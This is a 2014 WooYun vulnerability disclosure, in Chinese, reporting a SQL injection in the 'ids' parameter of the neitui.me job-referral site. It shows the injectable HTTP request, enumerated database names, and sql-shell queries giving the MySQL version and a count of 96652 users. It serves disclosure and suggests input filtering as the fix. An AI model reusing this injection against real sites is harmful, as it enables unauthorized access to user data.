当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-073941

漏洞标题：内推网主站SQL注入一枚96652用户信息告急

相关厂商：内推网

漏洞作者： loli

提交时间：2014-08-26 19:24

修复时间：2014-10-10 19:26

公开时间：2014-10-10 19:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-26： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-10-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

上来更新了下简历。

详细说明：

-------------------------
SQL注入如下，ids参数：

POST /***.php HTTP/1.1
Host: www.neitui.me
Proxy-Connection: keep-alive
Content-Length: 10
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.neitui.me
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: 自己的Cookie
ids=176973


-----------------------------------
获取数据库名：

available databases [2]:
[*] app_neitui123
[*] information_schema


获取表信息：

xx.png

漏洞证明：

统计了下neitui_user表，共96652个用户

#sql-shell> select @@version
select @@version:    '5.5.23-log'
#sql-shell> select count(*) from neitui_user
select count(*) from neitui_user:    '96652'

修复方案：

【声明：本次只列取了数据库表名，数据库版本信息，未进一步对用户敏感信息进行读取操作。】
-------------------------------------
过滤ids参数

版权声明：转载请注明来源 loli@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝